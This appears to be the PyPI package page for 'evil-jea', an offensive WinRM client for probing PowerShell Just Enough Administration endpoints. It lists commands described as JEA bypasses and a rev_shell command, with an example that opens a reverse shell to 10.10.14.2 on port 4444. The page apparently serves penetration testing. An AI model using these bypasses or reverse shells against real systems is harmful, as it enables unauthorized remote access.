A small WinRM client designed for interacting with JEA endpoints.
Project description
A small WinRM client designed for interacting with JEA endpoints.
Installation
From PyPi:
pip install evil-jea
From source:
git clone https://github.com/sashathomas/evil-jea cd evil-jea make install make build
Usage
Usage: evil-jea [OPTIONS] COMMAND [ARGS]... ___________ .__.__ ____.___________ _____ \_ _____/__ _|__| | | |\_ _____/ / _ \ | __)_\ \/ / | | ______ | | | __)_ / /_\ \ | \\ /| | |__ /_____/ /\__| | | \/ | \ /_______ / \_/ |__|____/ \________|/_______ /\____|__ / \/ \/ \/ Options: -v, --verbose Enable verbose output. --help Show this message and exit. Commands: connect Connect to JEA target. run Run a single command on the JEA target. shell Attempts to run a reverse shell on the target using a call... version Get the library version.
JEA Shell
Once connected to a shell, evil-jea offers a couple custom commands to help find and exploit common JEA misconfigurations:
[10.10.10.210]: PS> help JEA Shell Commands: help Show list of available commands info [command] Dump definitions for available commands. call [command] JEA bypass: Attempts to run [command] using call operator function [command] JEA bypass: Attempts to run [command] inside of a custom function rev_shell [ip] [port] JEA bypass: Attempts to run a PowerShell reverse shell using call operator
Examples
Connect to JEA endpoint:
evil-jea connect username password 10.10.10.10
Run single command on JEA endpoint:
evil-jea run username password 10.10.10.10 "Get-Command"
Try to run a PowerShell reverse shell using a call operator bypass:
[10.10.10.210]: PS> rev_shell 10.10.14.2 4444
License
Copyright (c) sashathomas
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
File details
Details for the file evil-jea-0.0.2.tar.gz
.
File metadata
- Download URL: evil-jea-0.0.2.tar.gz
- Upload date:
- Size: 8.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.1 CPython/3.11.9
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 8e41cfa3f6975d65b903ff9b1a13f7c4cd1e4ced8fe2bbbd03ce12583e2fb166 |
|
MD5 | ef7f2a71b84f91ffc37c1f12a260f0b5 |
|
BLAKE2b-256 | ef965f0aa04833f214111e0d520b888b397cd011e2606e455bbd74591bb36bed |
File details
Details for the file evil_jea-0.0.2-py3-none-any.whl
.
File metadata
- Download URL: evil_jea-0.0.2-py3-none-any.whl
- Upload date:
- Size: 7.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/5.1.1 CPython/3.11.9
File hashes
Algorithm | Hash digest | |
---|---|---|
SHA256 | 8edff53616ba0f899d35347dd5794732f8dde40539692506a042dcc4ecef7be2 |
|
MD5 | 81da352ec9b51b1c7e768db096a02026 |
|
BLAKE2b-256 | fb3b3cce2e0ca25e02965d1d3c1e4f57020562d58f460be668f76a9be44d4a7d |